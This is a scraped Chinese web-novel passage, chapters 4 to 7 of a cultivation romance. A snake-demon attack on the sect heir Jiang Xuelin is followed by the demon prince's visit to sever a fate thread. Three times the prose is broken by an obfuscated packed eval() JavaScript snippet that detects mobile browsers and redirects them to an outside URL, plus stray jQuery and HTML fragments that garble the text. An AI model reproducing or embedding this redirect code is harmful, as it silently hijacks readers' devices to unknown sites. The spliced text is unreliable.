裴星垂的目光落在面前人的睡颜上,长睫在面颊上投下浅浅的影,那粉色的发丝也染上银边,他睡的很沉,眉心舒展开,嘴角是恬静淡然的笑。
裴星垂看了许久,在这样静谧的氛围中,他心中也感到一阵柔软和安定。
这样的场景在他的梦里出现过很多次,若无意外,他会和皎皎慢慢培养出感情,顺理成章地完成他们的婚约。
他的皎皎很笨,对待感情很是迟钝,好在他也并不着急,愿意等皎皎开窍。
不过是慢一点。
修真者寿命漫长,他有足够多的时间为雪粼寻找续命的法宝。
裴星垂伸出手紧紧抓住江雪粼探出来的手,他不会放开的。
最终,他也在一片昏暗中合上眼。
满室只剩下清浅交融的呼吸声,和着窗外偶尔掠过的风。
夜更深了,似乎一切安然无恙。
窗外的风吹响树叶,带起细微的声响。
不是风声,而是某种滑腻的东西掠过地面的窸窣声,伴随着断断续续的咯吱轻响,仿佛朽坏的关节在强行扭动,由远及近。
咚咚咚。
咚咚咚。
沉闷而厚重的声响从门外传来,惊起一片飞鸟,也让这声音在一片寂静的夜里显得愈发诡异。
裴星垂睁眼,眼中是被打扰的不悦,他白日里才叮嘱过其他人,巡逻若有要紧事,也不要来敲门打扰,用玉符联系即可。
他本不想惊动雪粼,但敲门声在一片寂静中格外明显。
而江雪粼素来眠浅,一点响动就让他醒过来。
他睁开的眼中还残存着惺忪水光,脸上也带着困倦。
他将脸埋进被子里,只露出一双灵动漂亮的眼,开口说话的声音里还带着未睡醒的哑意,“师兄,怎么了?”
不等裴星垂回答,门闩被什么东西从外面顶开了。
两人同样耳聪目明,面面相觑片刻,却不知道该说什么。
江雪粼脑子里涌现出一个念头,他们家的守卫什么时候变得这么差了?
而另一个念头则是——
谁胆子这么大,居然敢在裴星垂眼皮子底下作妖?
紧接着探进来的是一只覆盖着黯淡青黑色鳞片的手,指甲尖锐弯曲,泛着不详的幽光。
那手臂以一种极不自然的角度弯曲反折,拖动后面沉重的躯体,终于,它完全挤了进来,可怖的样貌便也倒映在师兄弟两人的眼底。
那蛇妖庞大的蛇身瘫软在地,毫无生息。
唯有头颅被某种无形的力量强行牵引,高昂着。
蛇妖苍白的面颊上覆盖着鳞片,黑洞洞的眼睛直勾勾对着江雪粼,死死钉在他身上。
良久,它突然咧嘴一笑。
这个表情让它的下颌开裂,露出森白带钩的毒牙,牙尖沁出粘稠的黑色的毒液,滴落在青砖地上,立刻腐蚀出细小而深刻的孔洞,发出“滋滋”的轻响,冒出带着恶臭气息的毒烟。
江雪粼裹着被子爬起来,倒吸一口凉气,眼皮跳个不停。
他最讨厌爬虫类种族,现在出现在这里的还是一具早已死去却被人操控的蛇妖尸身。
第二次了,前几日的猫妖若说只是试探,今日这蛇妖显然是奔着要弄死江雪粼来的。
更何况这样大的动静居然没有引来巡逻队和执法堂的人,谷中明显不对劲。
因为江雪粼身份的特殊性,他的淑棠院戒备森严,院落之外布下的阵法也叠了数层,却还是被这来历不明的蛇妖闯了进来。
难道说是谷中人有内鬼?
未等江雪粼想明白,裴星垂侧头垂眸低声对他说一句,“闭上眼睛,别看。”
话音一落,他便起势掐诀,指尖凝聚起灵力。
江雪粼连忙拉住他,纤长的眼睫轻轻卷起,眼中带着祈盼,说出的话语都裹着跃跃欲试,“师兄,让我来让我来!”
虽然多看一眼蛇妖他就觉得身上要起鸡皮疙瘩,但是这可是难得的实战机会。
江雪粼常年在谷中,除了和师兄对练,少有能出手的时候,虽然不知道蛇妖的来历,但现在这样好的锻炼机会,可不能被师兄抢了去。
裴星垂微微一怔,无奈笑一下,倒是收手让开一些。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109955|195853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
四象谷的所有人对江雪粼这个少主的态度,用夸张些的说法来描述,就是捧在手里怕掉了,含在嘴里怕化了。
受谷主与夫人影响,他们对于少主的期许就只有能够永远平安永远快乐。
裴星垂也是如此,他们都将江雪粼保护的很好。
今日之事颇有蹊跷,裴星垂心中有着和江雪粼同样的猜测,那就是谷中出现了内鬼,里应外合想要取江雪粼的性命。
看着自家师弟露出兴致勃勃的表情,到底没有开口说出什么扫兴的话来。
……更何况,他从不会拒绝他的皎皎。
有他在一旁护着,不会叫这被人操控的蛇妖把皎皎伤了去。
江雪粼不知道裴星垂心中所想,他凝神静气,澄澈的灵力聚拢自修长细白的指尖迸发,劈向蜿蜒而来的蛇身中段。
这一招是与江雪粼那如同春桃般的外貌完全不相同的凌厉,触及蛇身青黑鳞片时,发出令人牙酸的金铁摩擦声,并迸溅出几簇暗沉火花。
蛇妖受此一击,动作明显停滞,随即那双黑洞洞的眼亮起幽暗的光,蛇口大张,一股浓稠的墨绿色毒雾喷吐而出,却并未散开,而是如同箭矢般直射江雪粼命门。
如此同时,长尾横扫,挟着千钧之力,砸向两人所在的位置。
江雪粼早在它有动作之前就掐诀撑起防御结界挡下这一击,召出自己的本命灵剑渡雪刺向蛇颈七寸的位置。
即便蛇妖已死,这里也依旧是它的弱点。
却不想蛇妖原本僵直的尾部,竟然以一种不可思议的角度,悄无声息地自黑暗中弹起,快如闪电,直刺向江雪粼的后心。
裴星垂面如寒霜,执剑挡住蛇尾的攻击,他死死盯住蛇妖空洞的眼睛,仿佛能透过那双眼睛看到背后操控蛇妖之人。
……找死。
但刚刚那一击只是虚晃一枪,真正的杀招是随后弥漫开的奇怪幽香。
“皎皎,闭气凝神,蹲下!”裴星垂厉呵一声,师兄弟素来配合默契,江雪粼从不觉得师兄会害他,顺着师兄的意思猛地下蹲,躲过了蛇妖又一次攻击。
他的淑棠院被蛇妖这一甩尾压坏了大半,那边的整面墙都摆着精致昂贵的瓷器,噼里啪啦碎了一地。
江雪粼没空心疼自己的宝贝,他刚刚闪的很快,但耐不住他和蛇妖离得太近,那缕怪异的香直接扑面。
他急促地喘息两声,瘦弱的身子突然剧烈颤抖起来,苍白的面颊浮现异样的红晕。
喉咙痒的惊人,他俯身想要压住迸发的呛咳,但根本无济于事,撕心裂肺的,仿佛要将五脏六腑都咳出来的声音让蛇妖都顿住了。
江雪粼并不知道这个插曲,他捂着嘴的手心里一阵润湿,他咳血了。
完蛋了。
江雪粼脑海里只剩下这样一个念头。
裴星垂无意去探究为何蛇妖停下了攻击,他听到江雪粼的咳嗽声,眉心折起,紧皱着,目光变得沉甸甸。
作为修真界新一代天之骄子,裴星垂不至于没办法应对一只蛇妖,他之前不出手,只是因为江雪粼的要求。
但现在,空气中的恶臭夹杂着腥甜的血气——
他的皎皎受伤了。
他已无意与这蛇妖周旋,携着华光的剑意劈向停滞不动的蛇妖,一把灵火落在腐坏的蛇尸身上,由内向外燃烧起来。
空中的毒气也被烧了个干干净净,只留下一堆灰黑的余烬。
蛇妖庞大的身躯湮灭,再无声息。
5. 第 5 章
室内重归寂静,也显得那咳声格外刺耳起来。
江雪粼咳得单薄的身子都蜷缩起,桃色的长发凌乱地披散着,嘴角溢出一缕鲜红,滴落在素白的中衣上,刺目惊心。
裴星垂迅速来到他身边,将他揽住,掌心贴在他带着凉气的后背,源源不断的温和灵力不断渡过去,为他平复内里翻滚的气血。
江雪粼的咳声渐渐平息,脱力地靠在裴星垂肩头,眼睫被泪水打湿,变得一簇一簇,绿眼睛里雾气朦胧,再开口语气都带上委屈,“师兄,我心口疼。”
听见他的话,裴星垂也感觉自己的心脏开始细细麻麻地疼起来,他哑着嗓音,语气歉疚,“是我不好。”
他的眼中满是心疼,沉默着从储物戒中拿出干净的披风将人一裹,轻缓地放到未被波及打斗的床上。
“少主!”刚触及柔软的锦被,熟悉的带着焦急的声音从外面传来,方风没了一贯的稳重,直莽莽闯进来,身后乌拉拉跟着一大群人。
江雪粼从裴星垂怀中探出头,还有些虚弱,见到人微微一怔。
没一会房间就被挤满了,江雪粼被大家团团围住,只能收敛杂乱的思绪应对你一句我一句的关心。
执法堂的长老秦暮摸摸胡子,看向被挤到一边的裴星垂,又看一眼地上被鞋底碾平的灰烬,带着头疼,“谷中阵法融合了妖域和修真界阵法的精髓,却在不为任何人发现的情况下被轻易破解,甚至那幕后之人还布下结界,将其他人隔绝在外。”
“这次是我们的疏漏,好在少主没事。”
他们心照不宣的是,即使有人闯入,肯定会有所察觉。
除非谷中有内鬼,但现在人多眼杂,不便讨论。
裴星垂眼底沉沉,他的目光自其他人进来就未曾从江雪粼身上偏移一分一毫。
秦暮慈祥的目光同样落在江雪粼身上,这个被他们所有人看着长大的孩子,最后长叹一声,“四象谷避世太久,真是什么阿猫阿狗都招惹来了。”
窗外浓云掩月,更深露重。
一场针对性的袭击暂时被瓦解,但留下的疑问与寒意,却比蛇毒更加令人胆寒。
-
妖域,影照川。
天穹呈现出澄澈的琉璃青,微风徐来,霞光金粉。
广袤的原野之上,悬浮着数座倒锥形的浮空山峦,最大的山巅上覆着雪,坐落着妖主宫殿流光阙,若有重大事情,妖域之人便在此处商议。
其余时刻,各族人并不会到这上面来,就连妖主也很少出现在这里,由此这里很是寂静。
但在最深处的偏殿里,却传来一阵巨大声响。
“我说过,我最厌人自作主张。”说话的男子身着玄底银纹的华服,水色长发未束,烟紫色的眼眸满是冷意。
“……殿下咳咳……”被他打到蜷缩在地的虎妖垂着头,姿态恭敬,“妖族大业,不容私情,我等……是在为您铲除阻碍。”
男人笑了一下,看着大殿之上的水玄镜,语气叫人捉摸不定,像是将这个词反复咀嚼一遍,“铲除阻碍?”
“既然你是如此效忠于我,那你便为了我们的大业,献出你的生命。”
“……死去吧。”
下属还准备说什么,周遭的空气就被掠夺,冰柱从他的胸腔里迸开,整个人都变作一尊冰雕,最后留在面上的是极度恐惧的表情。
男人用水洗净并未沾染尘埃的手,才踱步水镜面前,轻点一下泛着涟漪的镜面,那张总在梦里出现的轻盈白皙的面便倒映在他眼底。
而后,对方因为受到惊吓往旁边那个丑陋的重明族怀里钻,要人哄要人抱。
男人摩挲着空无一物的手腕,命线缠绕的存在感很强,带来的触感与气息也格外明显。
鼻尖萦绕着那人独特的幽香,泛着甜。
那团柔软的身躯好像也撞进他怀里,让他的喉结上下滚动一瞬,睁开眼面前却什么也没有。
男人伸出手,描摹着对方的面容,仿佛能感受到细腻的触感。
不够,不够。
皎皎,皎皎……
-
发生在流光阙的事情江雪粼一无所知,他到底受了惊吓,没到天亮就陷入高热,之后好几日都昏昏沉沉,连带着他院里的其他人也愁绪难掩。
除了方风,他院里还有五个童子,他们对于江雪粼这次遇袭都觉得难辞其咎,主动去执法堂领了惩罚。
江雪粼知晓后,久久说不出话来,良久才叹息一声,“都去领些愈伤丹和止痛药吧,从我的私库出。”
今日来他跟前侍奉的童子名为木通,他的性格和他的名字一样一板一眼,“多谢少主。”
“谷主闭关前让我们照顾好少主,我们没做到,该受罚。”
江雪粼不知道说什么才好,拧起细眉。
执法堂执法,用的是特制的鞭子,这种鞭子不但会在人身上留下伤痕,还会伤及神魂,一时半会难以愈合。
在裴星垂又来淑棠院的时候,江雪粼和他提起了这件事。
裴星垂将给他带来的糕点盒打开,动作微顿,而后摇头,再开口,语气也变得有些冷硬,却还是慢慢和他解释,“皎皎,我知你心软,但他们确实该罚。”
“他们是师父师娘精挑细选的人,若连危险都察觉不到,没办法保护好你,那他们也留不得了。”裴星垂见他还是皱眉,伸手轻抚眉心,转移了话题,“情缘线的其中一条连接的人我已经有了线索。”
说着,他顿了一下,像是没想好到底要不要开口,一想到他发现的东西他就忍不住皱眉。
江雪粼那双干净宛若绿松石般的眼睛里面满是好奇,“师兄,你已经有发现了吗?”
“和我说说吧。”
裴星垂很难拒绝这双眼睛的主人,到底还是说出自己的发现,“和前几日的入侵有关。”
“我仔细排查了各处结界和谷中人最近的动向,好消息是谷中并未出现内鬼,坏消息是结界松动,被人钻了空子。”
“不知道阿粼是否还记得东南边的竹林,那里有一条从妖域延伸过来的溪流,谷中人很少去那里。”裴星垂垂眸,手指在桌上轻点,“那一片的结界不太稳固,我们还在那处发现了一丝残留的蛟龙一族的气息。”
蛟龙?
江雪粼咬着糕点皱鼻子,因为小时候的一些经历,他并不喜欢爬虫类种族,连带着蛟龙族也不待见。
即使如今的妖主也是蛟龙,他还是不喜欢。
一想到自己手中的情缘线,另一边可能绑定着这滑溜溜的种族,他身上就仿佛有蚂蚁在爬,眉头也一直没松开过。
裴星垂知晓他的脾气,略过这点继续说,“我用了追踪符,那道气息最后停留的地点在流光阙。”
流光阙,妖域的至高点,妖主的宫殿。
再结合蛟龙族的信息,对方的身份似乎已经呼之欲出了。
“难道说……”江雪粼表情讷讷,想起了一个令人讨厌的家伙。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109956|195853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“少主。”
江雪粼和师兄说话的时候,木通就一直站在外面,这会突然打断他们,显然是有要紧事。
“怎么了?”江雪粼和裴星垂对视一眼,才淡声回应。
“……”
外面沉寂片刻,似乎在组织语言。
然后江雪粼就听到木通用非常快的语速说明情况,“妖主之子,镜无漪殿下前来拜访,说是要向您赔礼道歉。”
江雪粼:??
裴星垂:。
看来这下不必再做探查了。
裴星垂一想到那令人厌恶的四脚蛇和他的皎皎会攀上关系,他就十分恶心。
而江雪粼一想到来的人是谁就有些坐立不安,倒不是因为别的,纯粹就是他小时候是被这家伙吓到的。
“若是不愿意见,我去就好了。”裴星垂将宽厚的手掌盖在江雪粼的手上,温热的触感将他的思绪拉拢。
虽然有些纠结,但是不能真的不去见人,这不是四象谷的待客之道。
最后还是江雪粼摇头,“没事的师兄,只是见见人,还有情缘线的事,也该我在场的。”
裴星垂不再劝,他点点头,为江雪粼系好披风,跟在人身后一同去往接见客人的花厅见人。
妖域少主镜无漪被人迎进来,百无聊赖地转着手中的玉佩,眸光沉沉,叫人瞧不出他在想什么。
江雪粼撩起衣摆踏入花厅时,便对上一双似笑非笑的眼。
妖域少主镜无漪,同样也是那本《谁主沉浮》一书中日后和裴星垂齐名的存在。
只是现在,这位毫无做客意识的妖域少主霸占了主位,撑着头撩起眼看着走进花厅的谷中主人,端的是一派风流倜傥。
不像蛟龙,倒像个装模作样的花孔雀。
镜无漪其实已经想不起来自己到底有多久没有和江雪粼见过面了,他总是从水镜里注视对方,或是从其他妖族口中听说四象谷少主的近况。
妖族崇尚自由发展,不像人族那样会聚集在一起学习,而是各自寻道,没有重要事情族人不会聚集在一起。
妖族的寿命很长,几年不过一弹指,但算起来,两人确实已经有许久没有这样面对面的交流了。
镜无漪心想,江雪粼倒是还和自己记忆中一样好看。
他不知道怎么会有人脸生的这样小,五官生的这样恰到好处。
轻抿着便透出潋潋水光的红唇,柳叶儿弯弯的细眉,雪白的肤,还有那湖水绿般灵动的双眼。
很漂亮。
今日他身着一套由冰蚕丝织就的藕荷色法袍,外罩一件宝蓝色云纹锦衣,那一头柔顺漂亮的粉发如绸缎般垂落肩头,仅在耳侧编入一缕缠绕着细密符文的红绳,尾端缀着两片金叶流苏。
最为特别的是一对以功德金莲的花瓣炼化而成的莲状耳坠,随着他的动作漾开淡淡光晕,衬得人清贵非凡。
……很漂亮。
江雪粼这个人生来仿佛就是该享福的,被鲜花,玉石,宝器簇拥包围,被爱意滋养,理所应当地享受所有人的宠爱和示好。
只是他这会眉间带着倦意,病气也还没全部消退,镜无漪知道,他这是被吓到生病,还没完全好起来。
镜无漪顿了一下,眼中不自觉就盈满笑意,他撑着头,去瞧因为被他这个客人大摇大摆占据主座只能走到客位坐下的小谷主。
开口说话的语调也带上三分笑,“皎皎少谷主,好久不见,别来无恙啊。”
6. 第 6 章
江雪粼不喜欢镜无漪这种调笑的语调,皱着眉没说话。
跟在他身边的裴星垂一直警惕着对方,这会听到他的话,狠狠剜他一眼,声音有些冷硬,“镜无漪殿下,我想您还没有和阿粼亲密到可以称呼小字的地步吧?”
“还请有话直说,无意义的寒暄也总是惹人生厌的。”
“哦?”男人挑眉,用一种挑剔的目光上下打量一番坐在江雪粼身侧一副主人姿态的丑八怪重明,眼中的笑意消失,眉也压下去,“你在教我做事?”
两个男人一开口就是针锋相对,火花四溅。
江雪粼看看这个又看看那个,不明白一贯温和的师兄怎么突然这么不近人情,没听说两人之前有什么愁怨啊。
他静默一瞬,转移了话题,“殿下此次前来是为何事?”
镜无漪面对江雪粼时又恢复了那副懒洋洋笑眯眯的样子,“当然是有要紧事了。”
“前几日我的人擅作主张发起针对四象谷的行动,我替他来和你赔个不是。”
“他跟在我身边多年,打着我的旗号作威作福,念着他的家族忠心耿耿的份上,对他也多有宽容,谁知如今这个蠢货竟公然以本殿的名义针对四象谷。”
“至于人,我已经处置了,我向天道起誓,以后不会发生这种事,否则,便叫我镜无漪五雷轰顶,修为尽废。”
外头突兀一声轰隆响,接着一道白光落在镜无漪身上。
天地见证,誓言成立。
镜无漪瞥一眼江雪粼,毫不意外看到菩萨心肠般的小桃花妖因为这狠毒的誓言皱起眉。
他闷笑一声,拿出一个储物袋,使了个清风决将东西送到江雪粼手里,“这是赔礼。”
“若是小谷主不满意,让我留在谷中任你差遣也未尝不可。”镜无漪轻点两下桌面,心中的算盘珠子打的快弹到人的脸上去了。
储物袋上没加封印,江雪粼神识一扫,除了成堆的灵石,还有各种奇珍异宝,上品丹药,各类法器也像是不要钱一般堆在里面。
裴星垂意味不明地牵牵嘴角,即使镜无漪刚刚发了毒誓,他也依旧看不惯对方,“殿下大气,至于您的下属,谁知道是不是被包庇了呢?”
“如此忠臣,胆敢为了您针对四象谷,殿下舍得处罚吗?”
镜无漪撩眼轻嗤一声,对于他的话都当没听见,只是盯着江雪粼看。
江雪粼被他看的不自在,轻咳一声,“既然殿下已经将人处置,那就这样吧。”
镜无漪都这样开口,还给出了足够的诚意来道歉,更遑论还有天地见证的誓言,他们若是还揪着不放,就有些不识好歹了。
见他不再追究,镜无漪心底才松一口气,他并不想自己和江雪粼的关系变的更僵。
将赔礼尽数收起,江雪粼便将侍奉的童子挥退,剩下的事情就是他和师兄还有镜无漪三人之间的事了。
等到没了人,镜无漪掐诀布下隔音结界,才抬起手,露出腕上那刺目的丝线来。
他眉头微挑,说出的话暧昧不已,“小谷主,绑定这种姻缘类的命线是爱侣之间才会做的事情,难道你想要我当你的夫君吗?”
这话一出,江雪粼还没反应过来,裴星垂的剑就已经架在了镜无漪的脖子上,“镜无漪殿下,慎言。”
镜无漪撩起眼皮,又用那种似笑非笑的目光打量他,这是一个很失礼的动作,但他长相矜贵,烟紫色的眸中并无其他情绪,仿佛在打量一件物品。
但恰巧是这样,更叫裴星垂觉得冒犯和晦气。
“裴师兄,小谷主都还没说话呢,你着什么急?”镜无漪抬手四两拨千斤地挑开剑尖,语调懒洋洋的,威压却直直指向裴星垂,“还是说,用剑指着客人就是四象谷首席弟子的待客之道?”
裴星垂不语,他就知道这个四脚蛇没安好心!
“师兄。”江雪粼见苗头不对,怕两人打起来,连忙开口缓解气氛,“殿下,话还是不能乱说。”
“情缘线的事情是我们对不住,殿下此番定有解除绑定的意思,只是解除绑定一事需要师兄来,还望殿下别再针对他了。”
他一边说还一边去看两人的表情,害怕一贯沉稳持重的师兄又做出不理智的举措,江雪粼还伸出手拽了拽他的衣袖。
察觉到牵扯的力道,裴星垂垂眸看过去,对上那双润着水带着恳求的眼,到底还是将剑收了回去。
镜无漪看着江雪粼去牵扯裴星垂的手,用那柔软的,温热的手心覆盖在男人的手背上,不用想,都能知道那是多么美妙的感觉。
靠近了,是不是还能闻到他身上清甜的桃花香?
裴星垂这只丑八怪重明怎么这么好命?
江皎皎的未婚夫为什么不是我呢?
江雪粼的眼睛总让人会想到广袤的平原,想到白日里储存阳光的草木,想到被明亮的金绿、梦幻的粉蓝和温暖的橙色笼罩着的整片森林,被那双眼睛注视着的时候,恍若春风拂面。
如果那双含着蜜的眼看见的,被那汪绿色湖水包容的是自己就好了。
镜无漪轻捻一下手指,面上依旧带着笑,“皎皎少谷主,我哪里有针对他?难道不是裴首席一见面就对我冷嘲热讽刀剑相向吗?”
“还有,谁说我是来解除绑定的?”他站起来踱步到江雪粼面前,低头去看他。
蛟龙喜欢闪亮的东西,喜欢艳丽的颜色,而江雪粼两样都占了,闪亮如绿松石般的眼睛,靓丽如春的外貌。
镜无漪看似霁月风光,实则骨子里的掠夺与占有的本性一样不少,他弯腰在江雪粼耳边低声道:“若我说,我想要做你的夫君呢?”
江雪粼:……?
他瞪大眼睛,像是没想到会听到这样一句话。
鉴于说这话的人是镜无漪,一联想到对方的本体,江雪粼就一阵恶寒,露出了一言难尽的表情,“殿下,若是你想用这样的方式恶心我,那你成功了。”
他讨厌滑溜溜的种族不是秘密,更遑论镜无漪还是造成这件事的罪魁祸首。
镜无漪此刻是真的有些受伤,他沉默一瞬,而后叹息,“不是吧小谷主,那都多少年前的事了,你还记得呢?”
江雪粼仰起头,一脸理直气壮,“不然呢?”
“要不是你,我也不会留下心理阴影,你就是个讨厌鬼。”
他鼓着脸,皱着眉,镜无漪却也觉得可爱极了。
两人之间的纠葛渊源其实算不上复杂。
江雪粼被生下来实属不易,随着年岁渐长,神魂愈发不稳固,时常会无意识地化为原型。
他的母亲本体是桃花木,而他作为人与妖结合生下的孩子,本体也小得可怜。
人界虽然灵气充足,却并不适合一个虚弱的小妖修养,江雪粼便被他的母亲带回了妖域木族的属地修养。
扎根在妖气充足的领域,木族温和的妖力不断滋养他的体魄,倒是叫他的身体好上许多,神魂也变得稳固。
木族向来和善,大多避世,但该有的社交也少不了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109957|195853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
江雪粼随着云意月回到木族的时候,恰巧撞上妖主前来商议事情。
但他一概不知,化作本体睡的酣沉。
镜无漪便是在这个时候出现的。
蛟龙百岁成年,在成年之前不能化为人形。
镜无漪还需几年才能化形,一早被父亲以学习锻炼的理由揣着来了木族。
小时候的镜无漪很是调皮,说是调皮都算夸赞,他简直是混世魔王。
每日招猫逗狗,到处和人打架斗殴。
在来木族之前,他才因为和一位狐族名为斗法实则单方面殴打对方而受罚,浑身筋骨都疼,只想找个地方趴着休息。
木族的妖气温和,带有滋养疗愈的功效,但他好巧不巧选中的枝干,就是化作原型在睡觉的江雪粼。
任谁一觉醒来发现一条大蟒缠在自己身上都会吓的差点心脏骤停,江雪粼也不例外。
更何况或许是因为从人类转生成半妖,如今还有人类一半的血脉,本身骨子里对于蛇类就带着恐惧。
他被吓的瑟瑟发抖,呜呜咽咽哭个不停,被缠着还没办法化为人形,镜无漪不知道他为什么哭的这么厉害,还伸出舌信子想要帮他舔掉溢出来的水珠,然后就导致他哭的更厉害。
直到云意月和妖主找过来才将他解救,他窝在母亲怀里抽噎着,不敢去看和蛇别无二致的镜无漪。
即使后面知道镜无漪不是蛇妖而是蛟龙,也收到了对方的道歉,但小时候的阴影太过强大,江雪粼还是见到他就躲,后面回了四象谷就更少去妖域,两人别谈见面了。
现在他们还能这样安稳地待在一起面对面地聊天,得益于时间已经过去许久,并且镜无漪现在不是以妖体原型出现。
镜无漪这些年不是没有尝试过和江雪粼缓和关系,但效果甚微,面都见不上,还谈什么?
他盯着江雪粼看了好一会,直把人看的眼睛不住地眨着,纤细浓密的眼睫变成振翅的蝴蝶。
最终也只能无奈呼出一口气,将手探到对方面前,“算了,解开吧,怎么弄?”
虽说他身边的人都忠心,但也不乏有和那只虎妖一样想法的人,他们难保不会再对江皎皎动手。
更何况他对江雪粼确实带着一些私心,他不想,也并不希望对方遭受的苦痛是自己带给他的。
这件法器是裴星垂找到的,但他隐瞒了不少事情,江雪粼对于如何解除绑定也并不了解。
当时他在睡梦中就被师兄绑定在一起,等他醒来事情已成定局,师兄再三强调,这件法器对于绑定之人不会造成任何伤害,哄的他晕头转向,也就忘了再问。
江雪粼十八岁生辰时记起来一些小说剧情,印象中的情缘线是能够让绑定的两个人共享寿命的。
他再去找师兄想要解除绑定,却被裴星垂抱着搂着说了好久的不愿意。
师兄不愿意他短短百年就离去,尽可能地想要他活的更久。
然后又搬出父母亲人来当说辞,说是如果他活的更久些,家人也会很高兴的。
久而久之,江雪粼就不再过问。
大家为了能让他活的长久,做了很多事情,但其实能够活过百年,他就已经很满足了。
也不愿意再让其他人牵扯进来。
在江雪粼心中,一直照顾自己的,身为未婚夫的师兄是无所不能的。
感受到他期待的目光,裴星垂轮廓分明的下颌绷紧,而后对镜无漪点头,“既然如此,取一滴你的心头血吧。”
7. 第 7 章
取心头血?
镜无漪闻言挑眉,“裴师兄别是在骗我自毁境界吧?我可从未听说过什么法器解除绑定是需要心头血的。”
修士的心头血极其重要,蕴含着最本源的生命力,修为精华和灵魂印记。
每一滴心头血的凝练都需要耗费大量灵力,损失心头血等同于直接损耗根基和修为,甚至会导致境界跌落。
裴星垂索然无味地收回目光,居然不是傻子么。
江雪粼轻咳一声,语气加重一些,唤了声师兄,裴星垂才正经些开始凝神静气尝试解除镜无漪和小师弟之间的联系。
其实依照镜无漪的修为,他完全可以强行扯断这条缠绕着他和江雪粼的命线,但他并没有那样做。
万一强行解除会对江皎皎造成什么伤害怎么办?
江皎皎太娇气了,受了伤肯定又要对着旁人要亲要抱。
镜无漪只要一想到这种可能就恨得咬牙切齿,这个丑八怪重明到底为什么就这样好命呢?
无人在意他心中想着什么,裴星垂已经圈住江雪粼的手腕,将灵力注入丝线,神识附着在上面,这种情况,最直接的办法就是将连接镜无漪的那端斩断。
在他刚知道情缘线延伸出多余的丝线的时候,就打算尝试这个办法,但失败了,神识还受到不轻的创伤。
现在镜无漪主动找上门,应当不会再对裴星垂下手。
江雪粼靠着裴星垂,清澈透亮的眼睛一瞬不瞬地盯着他的动作,生怕出现意外。
镜无漪心不在焉地撑着下巴,不情不愿地为裴星垂护法,目光一直在江雪粼和丑八怪重明相握的手上打转。
倏尔,他心中陡然一松,仿佛无形的桎梏被打破,空落落的淡淡恐慌将他笼罩。
他再垂眸看去,手上的赤红色丝线消失的无影无踪,他和江皎皎这些年唯一的密切关联就这样轻轻松松被断开了。
解开了?
江雪粼看着自己的手腕,他催动灵力,赤红色丝线显现,他和镜无漪之间的联系确实没有了。
“皎皎,你怎么样?”裴星垂睁开眼的第一件事就是去看江雪粼,他也是后知后觉,若是接触绑定对他的小师弟造成什么伤害该如何是好?
江雪粼的面色有些白,眉间是一贯的病气,但是气息平稳,看上去并无疼痛不适之处。
他摇摇头,示意自己无事。
镜无漪看着两人亲密无间的样子扯扯嘴角,轻抚一下手腕,语调还是那般慵懒,“好了,既然事情已经结束,本殿就先走一步。”
江雪粼一听,露出真心实意的笑来,“殿下慢走……”
他话音未落,站在他身侧的两个男人都猛然色变,闷哼一声,嘴角渗出一丝血迹。
裴星垂眼疾手快封住自己的穴位,镜无漪也快速运转灵力调息。
江雪粼瞪大眼睛,倒吸一口凉气,还没来得及为师兄和镜无漪担忧,他感受到自己手腕上的线环迸发出耀眼的光芒,灼热的温度紧贴着他的肌肤,像是要将他烫化了。
无数光点围绕着他如萤火般飞舞,而后盘旋在他的手腕处,不同于赤红色的隐隐闪着金光的丝线重新显现,另一端毫无意外又缠上镜无漪。
他们两人刚刚切断的联系,又重新续上了。
花厅中陷入短暂的寂静,三人面面相觑。
这到底是怎么回事??
三人当中最不好受的当属裴星垂,他遭到反噬,面如金纸,体内灵力四处流窜翻涌,稍有不慎就会爆体而亡。
该死的镜无漪,他就说这家伙绝对没安好心。
殊不知镜无漪心中也想的是,裴星垂真该死。
江雪粼看看这个又看看那个,他急急忙忙掏出手帕给裴星垂擦拭嘴边的血迹,满脸心疼。
“师兄,这到底是怎么回事?”明明那丝线融入了他们三人体内,但偏偏江雪粼没有遇到任何问题,反观另外两位,看上去比他这个生病的人更像是命不久矣。
镜无漪见没人搭理自己,他慢条斯理地拿出手帕抹去嘴角渗出的血迹,闻言冷笑一声,“我就没见过比你更蠢的人了,裴首席。”
“这样来路不明又古怪的法器你也敢给小谷主用吗?”男人眼风如刀,语气尾调上扬,带着诘问的意思,“蠢货,嫌他命长就直说。”
刚刚的那股不寻常的灵力波动影响了他,也让他察觉到裴星垂一直以来在做什么。
借着这条命线,将自己的寿元渡给江雪粼,真是疯狂。
也真是叫人嫉妒,为了江皎皎,他甚至愿意去死。
